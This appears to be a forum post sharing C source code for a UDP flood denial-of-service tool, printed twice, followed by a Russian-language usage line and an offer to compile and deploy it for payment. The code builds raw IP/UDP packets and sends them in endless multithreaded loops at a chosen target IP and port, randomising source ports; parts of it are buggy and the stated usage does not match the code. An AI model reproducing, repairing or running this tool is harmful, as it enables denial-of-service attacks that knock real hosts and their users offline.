UDP DDos script.

#include <time.h>
#include <arpa/inet.h>
#include <ifaddrs.h>
#include <netdb.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static uint32_t Q[4096], c = 362436;

struct thread_data{
int pks;
int throttle;
int thread_id;
unsigned int floodport;
struct sockaddr_in sin;
};

void init_rand(uint32_t x)
{
int i;

Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;

for (i = 3; i < 4096; i++)
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}

char *myStrCat (char *s, char *a) {
while (*s != '\0') s++;
while (*a != '\0') *s++ = *a++;
*s = '\0';
return s;
}

char *replStr (char *str, size_t count) {
if (count == 0) return NULL;
char *ret = malloc (strlen (str) * count + count);
if (ret == NULL) return NULL;
*ret = '\0';
char *tmp = myStrCat (ret, str);
while (--count > 0) {
tmp = myStrCat (tmp, str);
}
return ret;
}


/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
struct ifaddrs *ifaddr, *ifa;
int family, s;
char host[NI_MAXHOST];

if (getifaddrs(&ifaddr) == -1) {
perror("getifaddrs");
exit(EXIT_FAILURE);
}

/* Walk through linked list, maintaining head pointer so we
can free list later */

for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
if (ifa->ifa_addr == NULL)
continue;

family = ifa->ifa_addr->sa_family;

if (family == AF_INET) {
s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
if (s != 0) {
printf("getnameinfo() failed: %s\n", gai_strerror(s));
exit(EXIT_FAILURE);
}
if(strcmp(host, "127.0.0.1") != 0){
break;
}
}
}
freeifaddrs(ifaddr);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;

// Initial IP, changed later in infinite loop
iph->saddr = inet_addr(host);
}

void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->check = 0;
}

void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
fprintf(stdout, "Thread %d started\n", td->thread_id);
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
char new_ip[sizeof "255.255.255.255"];

int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}

unsigned int floodport = td->floodport;

// Clear the data
memset(datagram, 0, MAX_PACKET_SIZE);

// Set appropriate fields in headers
setup_ip_header(iph);
setup_udp_header(udph);

char *data = (char *)udph + sizeof(struct udphdr);
data = replStr("\xFF", td->pks);
udph->len=htons(td->pks);

iph->tot_len += td->pks;

udph->dest = htons(floodport);

iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}

int throttle = td->throttle;

uint32_t random_num;
uint32_t ul_dst;
init_rand(time(NULL));
if(throttle == 0){
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
random_num = rand_cmwc();
udph->source = htons(random_num & 0xFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
}
} else {
while(1){
throttle = td->throttle;
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
random_num = rand_cmwc();
udph->source = htons(random_num & 0xFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

while(--throttle);
}
}
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> <number threads to use> <time>\n", argv[0]);
exit(-1);
}

fprintf(stdout, "Setting up Sockets...\n");

int num_threads = atoi(argv[5]);
int packet_size = atoi(argv[4]);
unsigned int floodport = atoi(argv[2]);
pthread_t thread[num_threads];
struct sockaddr_in sin;

sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);

struct thread_data td[num_threads];

int i;
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].pks = packet_size;
td[i].sin = sin;
td[i].floodport = floodport;
td[i].throttle = atoi(argv[3]);
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Starting Flood...\n");
if(argc > 6)
{
sleep(atoi(argv[6]));
} else {
while(1){
sleep(1);
}
}

return 0;
}

Code

#include <time.h>

#include <arpa/inet.h>

#include <ifaddrs.h>

#include <netdb.h>

#include <pthread.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

 

#define MAX_PACKET_SIZE 4096

#define PHI 0x9e3779b9

 

static uint32_t Q[4096], c = 362436;



struct thread_data{

        int pks;

        int throttle;

    int thread_id;

    unsigned int floodport;

    struct sockaddr_in sin;

};

 

void init_rand(uint32_t x)

{

        int i;

 

        Q[0] = x;

        Q[1] = x + PHI;

        Q[2] = x + PHI + PHI;

 

        for (i = 3; i < 4096; i++)

                Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;

}

 

uint32_t rand_cmwc(void)

{

        uint64_t t, a = 18782LL;

        static uint32_t i = 4095;

        uint32_t x, r = 0xfffffffe;

        i = (i + 1) & 4095;

        t = a * Q[i] + c;

        c = (t >> 32);

        x = t + c;

        if (x < c) {

                x++;

                c++;

        }

        return (Q[i] = r - x);

}



char *myStrCat (char *s, char *a) {

    while (*s != '\0') s++;

    while (*a != '\0') *s++ = *a++;

    *s = '\0';

    return s;

}



char *replStr (char *str, size_t count) {

    if (count == 0) return NULL;

    char *ret = malloc (strlen (str) * count + count);

    if (ret == NULL) return NULL;

    *ret = '\0';

    char *tmp = myStrCat (ret, str);

    while (--count > 0) {

        tmp = myStrCat (tmp, str);

    }

    return ret;

}





/* function for header checksums */

unsigned short csum (unsigned short *buf, int nwords)

{

  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)

  sum += *buf++;

  sum = (sum >> 16) + (sum & 0xffff);

  sum += (sum >> 16);

  return (unsigned short)(~sum);

}

void setup_ip_header(struct iphdr *iph)

{

  struct ifaddrs *ifaddr, *ifa;

           int family, s;

           char host[NI_MAXHOST];



           if (getifaddrs(&ifaddr) == -1) {

               perror("getifaddrs");

               exit(EXIT_FAILURE);

           }



           /* Walk through linked list, maintaining head pointer so we

              can free list later */



           for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {

               if (ifa->ifa_addr == NULL)

                   continue;



               family = ifa->ifa_addr->sa_family;



               if (family == AF_INET) {

                   s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),

                           host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);

                   if (s != 0) {

                       printf("getnameinfo() failed: %s\n", gai_strerror(s));

                       exit(EXIT_FAILURE);

                   }

                   if(strcmp(host, "127.0.0.1") != 0){

                       break;

                   }

               }

           }

           freeifaddrs(ifaddr);

  iph->ihl = 5;

  iph->version = 4;

  iph->tos = 0;

  iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);

  iph->id = htonl(54321);

  iph->frag_off = 0;

  iph->ttl = MAXTTL;

  iph->protocol = IPPROTO_UDP;

  iph->check = 0;



  // Initial IP, changed later in infinite loop

  iph->saddr = inet_addr(host);

}



void setup_udp_header(struct udphdr *udph)

{

  udph->source = htons(5678);

  udph->check = 0;

}



void *flood(void *par1)

{

  struct thread_data *td = (struct thread_data *)par1;

  fprintf(stdout, "Thread %d started\n", td->thread_id);

  char datagram[MAX_PACKET_SIZE];

  struct iphdr *iph = (struct iphdr *)datagram;

  struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);

  struct sockaddr_in sin = td->sin;

  char new_ip[sizeof "255.255.255.255"];



  int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

  if(s < 0){

    fprintf(stderr, "Could not open raw socket.\n");

    exit(-1);

  }



  unsigned int floodport = td->floodport;



  // Clear the data

  memset(datagram, 0, MAX_PACKET_SIZE);



  // Set appropriate fields in headers

  setup_ip_header(iph);

  setup_udp_header(udph);



  char *data = (char *)udph + sizeof(struct udphdr);

  data = replStr("\xFF", td->pks);

  udph->len=htons(td->pks);



  iph->tot_len += td->pks;



  udph->dest = htons(floodport);



  iph->daddr = sin.sin_addr.s_addr;

  iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);



  int tmp = 1;

  const int *val = &tmp;

  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){

    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");

    exit(-1);

  }



  int throttle = td->throttle;



  uint32_t random_num;

  uint32_t ul_dst;

  init_rand(time(NULL));

  if(throttle == 0){

    while(1){

      sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

      random_num = rand_cmwc();

      udph->source = htons(random_num & 0xFFFF);

      iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    }

  } else {

    while(1){

      throttle = td->throttle;

      sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

      random_num = rand_cmwc();

      udph->source = htons(random_num & 0xFFFF);

      iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);



     while(--throttle);

    }

  }

}

int main(int argc, char *argv[ ])

{

  if(argc < 6){

    fprintf(stderr, "Invalid parameters!\n");

    fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> <number threads to use> <time>\n", argv[0]);

    exit(-1);

  }



  fprintf(stdout, "Setting up Sockets...\n");



  int num_threads = atoi(argv[5]);

  int packet_size = atoi(argv[4]);

  unsigned int floodport = atoi(argv[2]);

  pthread_t thread[num_threads];

  struct sockaddr_in sin;



  sin.sin_family = AF_INET;

  sin.sin_port = htons(floodport);

  sin.sin_addr.s_addr = inet_addr(argv[1]);



  struct thread_data td[num_threads];



  int i;

  for(i = 0;i<num_threads;i++){

    td[i].thread_id = i;

    td[i].pks = packet_size;

    td[i].sin = sin;

    td[i].floodport = floodport;

    td[i].throttle = atoi(argv[3]);

    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);

  }

  fprintf(stdout, "Starting Flood...\n");

  if(argc > 6)

  {

    sleep(atoi(argv[6]));

  } else {

    while(1){

      sleep(1);

    }

  }



  return 0;

}

Используйте <ip> <port> <size> <time>
Кто не знает или не может скомпилировать и поставить.Могу помочь за кеш.